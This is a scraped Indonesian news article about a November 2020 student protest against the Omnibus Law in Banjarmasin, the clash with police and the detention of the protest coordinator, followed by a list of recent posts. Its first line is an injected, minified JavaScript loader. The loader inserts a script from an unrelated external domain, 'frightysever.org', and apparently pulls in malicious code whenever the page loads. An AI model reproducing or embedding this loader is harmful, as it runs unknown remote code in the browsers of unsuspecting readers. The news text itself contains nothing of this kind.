(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Ini Kronologi Penangkapan Korlap Aksi Penolakan UU Omnibus Law di Banjarmasin!


KANALKALIMANTAN.COM, BANJARMASIN – Demo menolak Omnibus Law yang digelar mahasiswa Kalsel di Banjarmasin, Kamis (5/11/2020), ricuh! Koordinator Lapangan (Korlap) aksi bernama Iqbal Hambali, dari Universitas Islam Negeri (UIN) Banjarmasin diamankan polisi.

Aksi yang sebelumnya berlangsung kondusif ini menjadi panas. Hal ini dipicu karena mahasiswa yang mendapati tak ada anggota DPRD Kalsel menemui massa, berupaya merangsek masuk. Namun, pergerakan mereka ditahan oleh ratusan aparat yang sudah berjaga.

Sekitar pukul 11.00 Wita, aksi saling dorong mahasiswa dengan polisi tak terelakkan. Dalam peristiwa ini, seorang mahasiswi bernama Gina Salsabila dari Universitas Lambung Mangkurat (ULM), sempat terjatuh dan terjepit di tengah keributan. Untungnya Gina tak mengalami luka akibat kejadian ini.

Dari peristiwa bentrok ini, tensi demo pun memanas. Hingga sekitar pukul 11.38 Wita, Korlap Aksi atas nama Iqbal Hambali diamankan polisi. Dari keterangan yang disampaikan Wakapolresta Banjarmasin AKBP Sabana Atmojo, Iqbal diamankan karena mengeluarkan kata-kata yang tidak senonoh kepada petugas.

 

Melihat rekannya diamankan polisi, sekitar pukul 12.00 Wita, massa mahasiswa kemudian mendatangi Polda Kalsel. Hingga berita ini diturunkan sekitar pukul 14.30 Wita, mahasiswa masih bertahan di Mapolda untuk meminta pembebasan rekannya.

Sebelumnya, gelombang unjuk rasa penolakan Undang-Undang (UU) Omnibus Law Cipta Kerja yang sudah diteken Jokowi oleh mahasiswa di Kalimantan Selatan terus dilakukan. Mahasiswa gabungan Badan Eksekutif Mahasiswa (BEM) se-Kalsel melakukan aksi penolakan UU Omnibus Law Cipta Kerja.

Ketua BEM Universitas Lambung Mangkurat Ahdiat Zairullah kepada Kanalkalimantan.com dalam aksi turun ke jalan kali ini kembali menuntut penolakan UU Nomor 11 tahun 2020 Cipta Kerja yang ditandatangani Jokowi Senin (2/11/2020) lalu.

Mahasiswa mulai memadati dengan duduk di depan bundaran Bank Indonesia (BI) Banjarmasin, sekitar pukul 10.00 Wita. Mereka juga membagikan selebaran kertas kepada masyarakat terkait hasil kajian yang dilakukan oleh BEM se Kalsel. (kanalkalimantan.com/putra)

Reporter : Putra
Editor : Cell

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.